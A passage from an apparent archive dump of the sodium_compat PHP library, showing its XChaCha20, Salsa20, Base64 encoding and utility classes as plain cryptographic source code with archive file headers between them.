$ctx[$i][1] = SplFixedArray::fromArray( array( self::load_4(self::substr($string, 76 + (($i - 1) << 4), 4)), self::load_4(self::substr($string, 72 + (($i - 1) << 4), 4)) ) ); $ctx[$i][0] = SplFixedArray::fromArray( array( self::load_4(self::substr($string, 68 + (($i - 1) << 4), 4)), self::load_4(self::substr($string, 64 + (($i - 1) << 4), 4)) ) ); } # uint8_t buf[2 * 128]; $ctx[3] = self::stringToSplFixedArray(self::substr($string, 96, 256)); # uint8_t buf[2 * 128]; $int = 0; for ($i = 0; $i < 8; ++$i) { $int |= self::chrToInt($string[352 + $i]) << ($i << 3); } $ctx[4] = $int; return $ctx; } } PKÜ�\���* * 5vendor/paragonie/sodium_compat/src/Core/XChaCha20.phpnu�[���<?php if (class_exists('ParagonIE_Sodium_Core_XChaCha20', false)) { return; } /** * Class ParagonIE_Sodium_Core_XChaCha20 */ class ParagonIE_Sodium_Core_XChaCha20 extends ParagonIE_Sodium_Core_HChaCha20 { /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function stream($len = 64, $nonce = '', $key = '') { if (self::strlen($nonce) !== 24) { throw new SodiumException('Nonce must be 24 bytes long'); } return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_Ctx( self::hChaCha20( self::substr($nonce, 0, 16), $key ), self::substr($nonce, 16, 8) ), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStream($len = 64, $nonce = '', $key = '') { if (self::strlen($nonce) !== 24) { throw new SodiumException('Nonce must be 24 bytes long'); } return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_IetfCtx( self::hChaCha20( self::substr($nonce, 0, 16), $key ), "\x00\x00\x00\x00" . self::substr($nonce, 16, 8) ), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function streamXorIc($message, $nonce = '', $key = '', $ic = '') { if (self::strlen($nonce) !== 24) { throw new SodiumException('Nonce must be 24 bytes long'); } return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_Ctx( self::hChaCha20(self::substr($nonce, 0, 16), $key), self::substr($nonce, 16, 8), $ic ), $message ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '') { if (self::strlen($nonce) !== 24) { throw new SodiumException('Nonce must be 24 bytes long'); } return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_IetfCtx( self::hChaCha20(self::substr($nonce, 0, 16), $key), "\x00\x00\x00\x00" . self::substr($nonce, 16, 8), $ic ), $message ); } } PKÜ�\�0��) ) 3vendor/paragonie/sodium_compat/src/Core/Salsa20.phpnu�[���<?php if (class_exists('ParagonIE_Sodium_Core_Salsa20', false)) { return; } /** * Class ParagonIE_Sodium_Core_Salsa20 */ abstract class ParagonIE_Sodium_Core_Salsa20 extends ParagonIE_Sodium_Core_Util { const ROUNDS = 20; /** * Calculate an salsa20 hash of a single block * * @internal You should not use this directly from another application * * @param string $in * @param string $k * @param string|null $c * @return string * @throws TypeError */ public static function core_salsa20($in, $k, $c = null) { if (self::strlen($k) < 32) { throw new RangeException('Key must be 32 bytes long'); } if ($c === null) { $j0 = $x0 = 0x61707865; $j5 = $x5 = 0x3320646e; $j10 = $x10 = 0x79622d32; $j15 = $x15 = 0x6b206574; } else { $j0 = $x0 = self::load_4(self::substr($c, 0, 4)); $j5 = $x5 = self::load_4(self::substr($c, 4, 4)); $j10 = $x10 = self::load_4(self::substr($c, 8, 4)); $j15 = $x15 = self::load_4(self::substr($c, 12, 4)); } $j1 = $x1 = self::load_4(self::substr($k, 0, 4)); $j2 = $x2 = self::load_4(self::substr($k, 4, 4)); $j3 = $x3 = self::load_4(self::substr($k, 8, 4)); $j4 = $x4 = self::load_4(self::substr($k, 12, 4)); $j6 = $x6 = self::load_4(self::substr($in, 0, 4)); $j7 = $x7 = self::load_4(self::substr($in, 4, 4)); $j8 = $x8 = self::load_4(self::substr($in, 8, 4)); $j9 = $x9 = self::load_4(self::substr($in, 12, 4)); $j11 = $x11 = self::load_4(self::substr($k, 16, 4)); $j12 = $x12 = self::load_4(self::substr($k, 20, 4)); $j13 = $x13 = self::load_4(self::substr($k, 24, 4)); $j14 = $x14 = self::load_4(self::substr($k, 28, 4)); for ($i = self::ROUNDS; $i > 0; $i -= 2) { $x4 ^= self::rotate($x0 + $x12, 7); $x8 ^= self::rotate($x4 + $x0, 9); $x12 ^= self::rotate($x8 + $x4, 13); $x0 ^= self::rotate($x12 + $x8, 18); $x9 ^= self::rotate($x5 + $x1, 7); $x13 ^= self::rotate($x9 + $x5, 9); $x1 ^= self::rotate($x13 + $x9, 13); $x5 ^= self::rotate($x1 + $x13, 18); $x14 ^= self::rotate($x10 + $x6, 7); $x2 ^= self::rotate($x14 + $x10, 9); $x6 ^= self::rotate($x2 + $x14, 13); $x10 ^= self::rotate($x6 + $x2, 18); $x3 ^= self::rotate($x15 + $x11, 7); $x7 ^= self::rotate($x3 + $x15, 9); $x11 ^= self::rotate($x7 + $x3, 13); $x15 ^= self::rotate($x11 + $x7, 18); $x1 ^= self::rotate($x0 + $x3, 7); $x2 ^= self::rotate($x1 + $x0, 9); $x3 ^= self::rotate($x2 + $x1, 13); $x0 ^= self::rotate($x3 + $x2, 18); $x6 ^= self::rotate($x5 + $x4, 7); $x7 ^= self::rotate($x6 + $x5, 9); $x4 ^= self::rotate($x7 + $x6, 13); $x5 ^= self::rotate($x4 + $x7, 18); $x11 ^= self::rotate($x10 + $x9, 7); $x8 ^= self::rotate($x11 + $x10, 9); $x9 ^= self::rotate($x8 + $x11, 13); $x10 ^= self::rotate($x9 + $x8, 18); $x12 ^= self::rotate($x15 + $x14, 7); $x13 ^= self::rotate($x12 + $x15, 9); $x14 ^= self::rotate($x13 + $x12, 13); $x15 ^= self::rotate($x14 + $x13, 18); } $x0 += $j0; $x1 += $j1; $x2 += $j2; $x3 += $j3; $x4 += $j4; $x5 += $j5; $x6 += $j6; $x7 += $j7; $x8 += $j8; $x9 += $j9; $x10 += $j10; $x11 += $j11; $x12 += $j12; $x13 += $j13; $x14 += $j14; $x15 += $j15; return self::store32_le($x0) . self::store32_le($x1) . self::store32_le($x2) . self::store32_le($x3) . self::store32_le($x4) . self::store32_le($x5) . self::store32_le($x6) . self::store32_le($x7) . self::store32_le($x8) . self::store32_le($x9) . self::store32_le($x10) . self::store32_le($x11) . self::store32_le($x12) . self::store32_le($x13) . self::store32_le($x14) . self::store32_le($x15); } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20($len, $nonce, $key) { if (self::strlen($key) !== 32) { throw new RangeException('Key must be 32 bytes long'); } $kcopy = '' . $key; $in = self::substr($nonce, 0, 8) . str_repeat("\0", 8); $c = ''; while ($len >= 64) { $c .= self::core_salsa20($in, $kcopy, null); $u = 1; // Internal counter. for ($i = 8; $i < 16; ++$i) { $u += self::chrToInt($in[$i]); $in[$i] = self::intToChr($u & 0xff); $u >>= 8; } $len -= 64; } if ($len > 0) { $c .= self::substr( self::core_salsa20($in, $kcopy, null), 0, $len ); } try { ParagonIE_Sodium_Compat::memzero($kcopy); } catch (SodiumException $ex) { $kcopy = null; } return $c; } /** * @internal You should not use this directly from another application * * @param string $m * @param string $n * @param int $ic * @param string $k * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20_xor_ic($m, $n, $ic, $k) { $mlen = self::strlen($m); if ($mlen < 1) { return ''; } $kcopy = self::substr($k, 0, 32); $in = self::substr($n, 0, 8); // Initialize the counter $in .= ParagonIE_Sodium_Core_Util::store64_le($ic); $c = ''; while ($mlen >= 64) { $block = self::core_salsa20($in, $kcopy, null); $c .= self::xorStrings( self::substr($m, 0, 64), self::substr($block, 0, 64) ); $u = 1; for ($i = 8; $i < 16; ++$i) { $u += self::chrToInt($in[$i]); $in[$i] = self::intToChr($u & 0xff); $u >>= 8; } $mlen -= 64; $m = self::substr($m, 64); } if ($mlen) { $block = self::core_salsa20($in, $kcopy, null); $c .= self::xorStrings( self::substr($m, 0, $mlen), self::substr($block, 0, $mlen) ); } try { ParagonIE_Sodium_Compat::memzero($block); ParagonIE_Sodium_Compat::memzero($kcopy); } catch (SodiumException $ex) { $block = null; $kcopy = null; } return $c; } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20_xor($message, $nonce, $key) { return self::xorStrings( $message, self::salsa20( self::strlen($message), $nonce, $key ) ); } /** * @internal You should not use this directly from another application * * @param int $u * @param int $c * @return int */ public static function rotate($u, $c) { $u &= 0xffffffff; $c %= 32; return (int) (0xffffffff & ( ($u << $c) | ($u >> (32 - $c)) ) ); } } PKÜ�\�OA�9vendor/paragonie/sodium_compat/src/Core/Base64/Common.phpnu�[���<?php /** * Class ParagonIE_Sodium_Core_Base64 * * Copyright (c) 2016 - 2018 Paragon Initiative Enterprises. * Copyright (c) 2014 Steve "Sc00bz" Thomas (steve at tobtu dot com) * * We have to copy/paste the contents into the variant files because PHP 5.2 * doesn't support late static binding, and we have no better workaround * available that won't break PHP 7+. Therefore, we're forced to duplicate code. */ abstract class ParagonIE_Sodium_Core_Base64_Common { /** * Encode into Base64 * * Base64 character set "[A-Z][a-z][0-9]+/" * * @param string $src * @return string * @throws TypeError */ public static function encode($src) { return self::doEncode($src, true); } /** * Encode into Base64, no = padding * * Base64 character set "[A-Z][a-z][0-9]+/" * * @param string $src * @return string * @throws TypeError */ public static function encodeUnpadded($src) { return self::doEncode($src, false); } /** * @param string $src * @param bool $pad Include = padding? * @return string * @throws TypeError */ protected static function doEncode($src, $pad = true) { $dest = ''; $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); // Main loop (no padding): for ($i = 0; $i + 3 <= $srcLen; $i += 3) { /** @var array<int, int> $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3)); $b0 = $chunk[1]; $b1 = $chunk[2]; $b2 = $chunk[3]; $dest .= self::encode6Bits( $b0 >> 2 ) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) . self::encode6Bits( $b2 & 63); } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array<int, int> $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $b0 = $chunk[1]; if ($i + 1 < $srcLen) { $b1 = $chunk[2]; $dest .= self::encode6Bits($b0 >> 2) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits(($b1 << 2) & 63); if ($pad) { $dest .= '='; } } else { $dest .= self::encode6Bits( $b0 >> 2) . self::encode6Bits(($b0 << 4) & 63); if ($pad) { $dest .= '=='; } } } return $dest; } /** * decode from base64 into binary * * Base64 character set "./[A-Z][a-z][0-9]" * * @param string $src * @param bool $strictPadding * @return string * @throws RangeException * @throws TypeError * @psalm-suppress RedundantCondition */ public static function decode($src, $strictPadding = false) { // Remove padding $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); if ($srcLen === 0) { return ''; } if ($strictPadding) { if (($srcLen & 3) === 0) { if ($src[$srcLen - 1] === '=') { $srcLen--; if ($src[$srcLen - 1] === '=') { $srcLen--; } } } if (($srcLen & 3) === 1) { throw new RangeException( 'Incorrect padding' ); } if ($src[$srcLen - 1] === '=') { throw new RangeException( 'Incorrect padding' ); } } else { $src = rtrim($src, '='); $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); } $err = 0; $dest = ''; // Main loop (no padding): for ($i = 0; $i + 4 <= $srcLen; $i += 4) { /** @var array<int, int> $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4)); $c0 = self::decode6Bits($chunk[1]); $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $c3 = self::decode6Bits($chunk[4]); $dest .= pack( 'CCC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff), ((($c2 << 6) | $c3 ) & 0xff) ); $err |= ($c0 | $c1 | $c2 | $c3) >> 8; } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array<int, int> $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $c0 = self::decode6Bits($chunk[1]); if ($i + 2 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $dest .= pack( 'CC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff) ); $err |= ($c0 | $c1 | $c2) >> 8; } elseif ($i + 1 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $dest .= pack( 'C', ((($c0 << 2) | ($c1 >> 4)) & 0xff) ); $err |= ($c0 | $c1) >> 8; } elseif ($i < $srcLen && $strictPadding) { $err |= 1; } } /** @var bool $check */ $check = ($err === 0); if (!$check) { throw new RangeException( 'Base64::decode() only expects characters in the correct base64 alphabet' ); } return $dest; } /** * Uses bitwise operators instead of table-lookups to turn 6-bit integers * into 8-bit integers. * * Base64 character set: * [A-Z] [a-z] [0-9] + / * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f * * @param int $src * @return int */ abstract protected static function decode6Bits($src); /** * Uses bitwise operators instead of table-lookups to turn 8-bit integers * into 6-bit integers. * * @param int $src * @return string */ abstract protected static function encode6Bits($src); } PKÜ�\$T�--;vendor/paragonie/sodium_compat/src/Core/Base64/Original.phpnu�[���<?php /** * Class ParagonIE_Sodium_Core_Base64 * * Copyright (c) 2016 - 2018 Paragon Initiative Enterprises. * Copyright (c) 2014 Steve "Sc00bz" Thomas (steve at tobtu dot com) */ class ParagonIE_Sodium_Core_Base64_Original { // COPY ParagonIE_Sodium_Core_Base64_Common STARTING HERE /** * Encode into Base64 * * Base64 character set "[A-Z][a-z][0-9]+/" * * @param string $src * @return string * @throws TypeError */ public static function encode($src) { return self::doEncode($src, true); } /** * Encode into Base64, no = padding * * Base64 character set "[A-Z][a-z][0-9]+/" * * @param string $src * @return string * @throws TypeError */ public static function encodeUnpadded($src) { return self::doEncode($src, false); } /** * @param string $src * @param bool $pad Include = padding? * @return string * @throws TypeError */ protected static function doEncode($src, $pad = true) { $dest = ''; $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); // Main loop (no padding): for ($i = 0; $i + 3 <= $srcLen; $i += 3) { /** @var array<int, int> $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3)); $b0 = $chunk[1]; $b1 = $chunk[2]; $b2 = $chunk[3]; $dest .= self::encode6Bits( $b0 >> 2 ) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) . self::encode6Bits( $b2 & 63); } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array<int, int> $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $b0 = $chunk[1]; if ($i + 1 < $srcLen) { $b1 = $chunk[2]; $dest .= self::encode6Bits($b0 >> 2) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits(($b1 << 2) & 63); if ($pad) { $dest .= '='; } } else { $dest .= self::encode6Bits( $b0 >> 2) . self::encode6Bits(($b0 << 4) & 63); if ($pad) { $dest .= '=='; } } } return $dest; } /** * decode from base64 into binary * * Base64 character set "./[A-Z][a-z][0-9]" * * @param string $src * @param bool $strictPadding * @return string * @throws RangeException * @throws TypeError * @psalm-suppress RedundantCondition */ public static function decode($src, $strictPadding = false) { // Remove padding $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); if ($srcLen === 0) { return ''; } if ($strictPadding) { if (($srcLen & 3) === 0) { if ($src[$srcLen - 1] === '=') { $srcLen--; if ($src[$srcLen - 1] === '=') { $srcLen--; } } } if (($srcLen & 3) === 1) { throw new RangeException( 'Incorrect padding' ); } if ($src[$srcLen - 1] === '=') { throw new RangeException( 'Incorrect padding' ); } } else { $src = rtrim($src, '='); $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); } $err = 0; $dest = ''; // Main loop (no padding): for ($i = 0; $i + 4 <= $srcLen; $i += 4) { /** @var array<int, int> $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4)); $c0 = self::decode6Bits($chunk[1]); $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $c3 = self::decode6Bits($chunk[4]); $dest .= pack( 'CCC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff), ((($c2 << 6) | $c3) & 0xff) ); $err |= ($c0 | $c1 | $c2 | $c3) >> 8; } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array<int, int> $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $c0 = self::decode6Bits($chunk[1]); if ($i + 2 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $dest .= pack( 'CC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff) ); $err |= ($c0 | $c1 | $c2) >> 8; } elseif ($i + 1 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $dest .= pack( 'C', ((($c0 << 2) | ($c1 >> 4)) & 0xff) ); $err |= ($c0 | $c1) >> 8; } elseif ($i < $srcLen && $strictPadding) { $err |= 1; } } /** @var bool $check */ $check = ($err === 0); if (!$check) { throw new RangeException( 'Base64::decode() only expects characters in the correct base64 alphabet' ); } return $dest; } // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE /** * Uses bitwise operators instead of table-lookups to turn 6-bit integers * into 8-bit integers. * * Base64 character set: * [A-Z] [a-z] [0-9] + / * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f * * @param int $src * @return int */ protected static function decode6Bits($src) { $ret = -1; // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64 $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64); // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70 $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70); // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5 $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5); // if ($src == 0x2b) $ret += 62 + 1; $ret += (((0x2a - $src) & ($src - 0x2c)) >> 8) & 63; // if ($src == 0x2f) ret += 63 + 1; $ret += (((0x2e - $src) & ($src - 0x30)) >> 8) & 64; return $ret; } /** * Uses bitwise operators instead of table-lookups to turn 8-bit integers * into 6-bit integers. * * @param int $src * @return string */ protected static function encode6Bits($src) { $diff = 0x41; // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6 $diff += ((25 - $src) >> 8) & 6; // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75 $diff -= ((51 - $src) >> 8) & 75; // if ($src > 61) $diff += 0x2b - 0x30 - 10; // -15 $diff -= ((61 - $src) >> 8) & 15; // if ($src > 62) $diff += 0x2f - 0x2b - 1; // 3 $diff += ((62 - $src) >> 8) & 3; return pack('C', $src + $diff); } } PKÜ�\��LW33:vendor/paragonie/sodium_compat/src/Core/Base64/UrlSafe.phpnu�[���<?php /** * Class ParagonIE_Sodium_Core_Base64UrlSafe * * Copyright (c) 2016 - 2018 Paragon Initiative Enterprises. * Copyright (c) 2014 Steve "Sc00bz" Thomas (steve at tobtu dot com) */ class ParagonIE_Sodium_Core_Base64_UrlSafe { // COPY ParagonIE_Sodium_Core_Base64_Common STARTING HERE /** * Encode into Base64 * * Base64 character set "[A-Z][a-z][0-9]+/" * * @param string $src * @return string * @throws TypeError */ public static function encode($src) { return self::doEncode($src, true); } /** * Encode into Base64, no = padding * * Base64 character set "[A-Z][a-z][0-9]+/" * * @param string $src * @return string * @throws TypeError */ public static function encodeUnpadded($src) { return self::doEncode($src, false); } /** * @param string $src * @param bool $pad Include = padding? * @return string * @throws TypeError */ protected static function doEncode($src, $pad = true) { $dest = ''; $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); // Main loop (no padding): for ($i = 0; $i + 3 <= $srcLen; $i += 3) { /** @var array<int, int> $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3)); $b0 = $chunk[1]; $b1 = $chunk[2]; $b2 = $chunk[3]; $dest .= self::encode6Bits( $b0 >> 2 ) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) . self::encode6Bits( $b2 & 63); } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array<int, int> $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $b0 = $chunk[1]; if ($i + 1 < $srcLen) { $b1 = $chunk[2]; $dest .= self::encode6Bits($b0 >> 2) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits(($b1 << 2) & 63); if ($pad) { $dest .= '='; } } else { $dest .= self::encode6Bits( $b0 >> 2) . self::encode6Bits(($b0 << 4) & 63); if ($pad) { $dest .= '=='; } } } return $dest; } /** * decode from base64 into binary * * Base64 character set "./[A-Z][a-z][0-9]" * * @param string $src * @param bool $strictPadding * @return string * @throws RangeException * @throws TypeError * @psalm-suppress RedundantCondition */ public static function decode($src, $strictPadding = false) { // Remove padding $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); if ($srcLen === 0) { return ''; } if ($strictPadding) { if (($srcLen & 3) === 0) { if ($src[$srcLen - 1] === '=') { $srcLen--; if ($src[$srcLen - 1] === '=') { $srcLen--; } } } if (($srcLen & 3) === 1) { throw new RangeException( 'Incorrect padding' ); } if ($src[$srcLen - 1] === '=') { throw new RangeException( 'Incorrect padding' ); } } else { $src = rtrim($src, '='); $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); } $err = 0; $dest = ''; // Main loop (no padding): for ($i = 0; $i + 4 <= $srcLen; $i += 4) { /** @var array<int, int> $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4)); $c0 = self::decode6Bits($chunk[1]); $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $c3 = self::decode6Bits($chunk[4]); $dest .= pack( 'CCC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff), ((($c2 << 6) | $c3) & 0xff) ); $err |= ($c0 | $c1 | $c2 | $c3) >> 8; } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array<int, int> $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $c0 = self::decode6Bits($chunk[1]); if ($i + 2 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $dest .= pack( 'CC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff) ); $err |= ($c0 | $c1 | $c2) >> 8; } elseif ($i + 1 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $dest .= pack( 'C', ((($c0 << 2) | ($c1 >> 4)) & 0xff) ); $err |= ($c0 | $c1) >> 8; } elseif ($i < $srcLen && $strictPadding) { $err |= 1; } } /** @var bool $check */ $check = ($err === 0); if (!$check) { throw new RangeException( 'Base64::decode() only expects characters in the correct base64 alphabet' ); } return $dest; } // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE /** * Uses bitwise operators instead of table-lookups to turn 6-bit integers * into 8-bit integers. * * Base64 character set: * [A-Z] [a-z] [0-9] + / * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f * * @param int $src * @return int */ protected static function decode6Bits($src) { $ret = -1; // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64 $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64); // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70 $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70); // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5 $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5); // if ($src == 0x2c) $ret += 62 + 1; $ret += (((0x2c - $src) & ($src - 0x2e)) >> 8) & 63; // if ($src == 0x5f) ret += 63 + 1; $ret += (((0x5e - $src) & ($src - 0x60)) >> 8) & 64; return $ret; } /** * Uses bitwise operators instead of table-lookups to turn 8-bit integers * into 6-bit integers. * * @param int $src * @return string */ protected static function encode6Bits($src) { $diff = 0x41; // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6 $diff += ((25 - $src) >> 8) & 6; // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75 $diff -= ((51 - $src) >> 8) & 75; // if ($src > 61) $diff += 0x2d - 0x30 - 10; // -13 $diff -= ((61 - $src) >> 8) & 13; // if ($src > 62) $diff += 0x5f - 0x2b - 1; // 3 $diff += ((62 - $src) >> 8) & 49; return pack('C', $src + $diff); } } PKÜ�\h'��n�n0vendor/paragonie/sodium_compat/src/Core/Util.phpnu�[���<?php if (class_exists('ParagonIE_Sodium_Core_Util', false)) { return; } /** * Class ParagonIE_Sodium_Core_Util */ abstract class ParagonIE_Sodium_Core_Util { /** * @param int $integer * @param int $size (16, 32, 64) * @return int */ public static function abs($integer, $size = 0) { /** @var int $realSize */ $realSize = (PHP_INT_SIZE << 3) - 1; if ($size) { --$size; } else { /** @var int $size */ $size = $realSize; } $negative = -(($integer >> $size) & 1); return (int) ( ($integer ^ $negative) + (($negative >> $realSize) & 1) ); } /** * Convert a binary string into a hexadecimal string without cache-timing * leaks * * @internal You should not use this directly from another application * * @param string $binaryString (raw binary) * @return string * @throws TypeError */ public static function bin2hex($binaryString) { /* Type checks: */ if (!is_string($binaryString)) { throw new TypeError('Argument 1 must be a string, ' . gettype($binaryString) . ' given.'); } $hex = ''; $len = self::strlen($binaryString); for ($i = 0; $i < $len; ++$i) { /** @var array<int, int> $chunk */ $chunk = unpack('C', $binaryString[$i]); /** @var int $c */ $c = $chunk[1] & 0xf; /** @var int $b */ $b = $chunk[1] >> 4; $hex .= pack( 'CC', (87 + $b + ((($b - 10) >> 8) & ~38)), (87 + $c + ((($c - 10) >> 8) & ~38)) ); } return $hex; } /** * Convert a binary string into a hexadecimal string without cache-timing * leaks, returning uppercase letters (as per RFC 4648) * * @internal You should not use this directly from another application * * @param string $bin_string (raw binary) * @return string * @throws TypeError */ public static function bin2hexUpper($bin_string) { $hex = ''; $len = self::strlen($bin_string); for ($i = 0; $i < $len; ++$i) { /** @var array<int, int> $chunk */ $chunk = unpack('C', $bin_string[$i]); /** * Lower 16 bits * * @var int $c */ $c = $chunk[1] & 0xf; /** * Upper 16 bits * @var int $b */ $b = $chunk[1] >> 4; /** * Use pack() and binary operators to turn the two integers * into hexadecimal characters. We don't use chr() here, because * it uses a lookup table internally and we want to avoid * cache-timing side-channels. */ $hex .= pack( 'CC', (55 + $b + ((($b - 10) >> 8) & ~6)), (55 + $c + ((($c - 10) >> 8) & ~6)) ); } return $hex; } /** * Cache-timing-safe variant of ord() * * @internal You should not use this directly from another application * * @param string $chr * @return int * @throws SodiumException * @throws TypeError */ public static function chrToInt($chr) { /* Type checks: */ if (!is_string($chr)) { throw new TypeError('Argument 1 must be a string, ' . gettype($chr) . ' given.'); } if (self::strlen($chr) !== 1) { throw new SodiumException('chrToInt() expects a string that is exactly 1 character long'); } /** @var array<int, int> $chunk */ $chunk = unpack('C', $chr); return (int) ($chunk[1]); } /** * Compares two strings. * * @internal You should not use this directly from another application * * @param string $left * @param string $right * @param int $len * @return int * @throws SodiumException * @throws TypeError */ public static function compare($left, $right, $len = null) { $leftLen = self::strlen($left); $rightLen = self::strlen($right); if ($len === null) { $len = max($leftLen, $rightLen); $left = str_pad($left, $len, "\x00", STR_PAD_RIGHT); $right = str_pad($right, $len, "\x00", STR_PAD_RIGHT); } $gt = 0; $eq = 1; $i = $len; while ($i !== 0) { --$i; $gt |= ((self::chrToInt($right[$i]) - self::chrToInt($left[$i])) >> 8) & $eq; $eq &= ((self::chrToInt($right[$i]) ^ self::chrToInt($left[$i])) - 1) >> 8; } return ($gt + $gt + $eq) - 1; } /** * If a variable does not match a given type, throw a TypeError. * * @param mixed $mixedVar * @param string $type * @param int $argumentIndex * @throws TypeError * @throws SodiumException * @return void */ public static function declareScalarType(&$mixedVar = null, $type = 'void', $argumentIndex = 0) { if (func_num_args() === 0) { /* Tautology, by default */ return; } if (func_num_args() === 1) { throw new TypeError('Declared void, but passed a variable'); } $realType = strtolower(gettype($mixedVar)); $type = strtolower($type); switch ($type) { case 'null': if ($mixedVar !== null) { throw new TypeError('Argument ' . $argumentIndex . ' must be null, ' . $realType . ' given.'); } break; case 'integer': case 'int': $allow = array('int', 'integer'); if (!in_array($type, $allow)) { throw new TypeError('Argument ' . $argumentIndex . ' must be an integer, ' . $realType . ' 